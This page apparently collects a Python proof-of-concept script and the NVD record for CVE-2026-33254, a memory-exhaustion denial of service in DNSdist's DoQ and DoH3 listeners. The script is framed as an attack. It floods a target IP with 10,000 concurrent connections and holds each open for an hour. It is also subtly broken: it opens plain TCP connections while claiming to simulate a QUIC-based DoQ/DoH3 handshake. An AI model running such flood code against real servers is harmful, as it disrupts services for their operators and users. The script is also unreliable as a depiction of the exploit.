CVE-2026-33254

import asyncio import socket # Target configuration TARGET_HOST = "192.168.1.100" # Replace with vulnerable DNSdist IP TARGET_PORT = 853 # Default DoQ port, or 443 for DoH3 CONNECTION_COUNT = 10000 # Number of concurrent connections async def create_connection(i): try: # Create a socket connection to simulate DoQ/DoH3 handshake reader, writer = await asyncio.open_connection(TARGET_HOST, TARGET_PORT) # Keep connection open to hold memory await asyncio.sleep(3600) writer.close() await writer.wait_closed() except Exception as e: print(f"Connection {i} failed: {e}") async def main(): print(f"Starting attack on {TARGET_HOST}:{TARGET_PORT}...") tasks = [create_connection(i) for i in range(CONNECTION_COUNT)] await asyncio.gather(*tasks) if __name__ == "__main__": # Run the asynchronous flood asyncio.run(main())

{"cve": {"id": "CVE-2026-33254", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:16:53.520", "lastModified": "2026-04-27T16:58:36.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can create a large number of concurrent DoQ or DoH3 connections, causing unlimited memory allocation in DNSdist and leading to a denial of service. DOQ and DoH3 are disabled by default."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.13", "matchCriteriaId": "DCC2DF11-EC5C-4112-90F2-C266CB65D390"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.4", "matchCriteriaId": "29865EC6-C1A0-40F3-B0BB-7F71F9C1DCB7"}]}]}], "references": [{"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}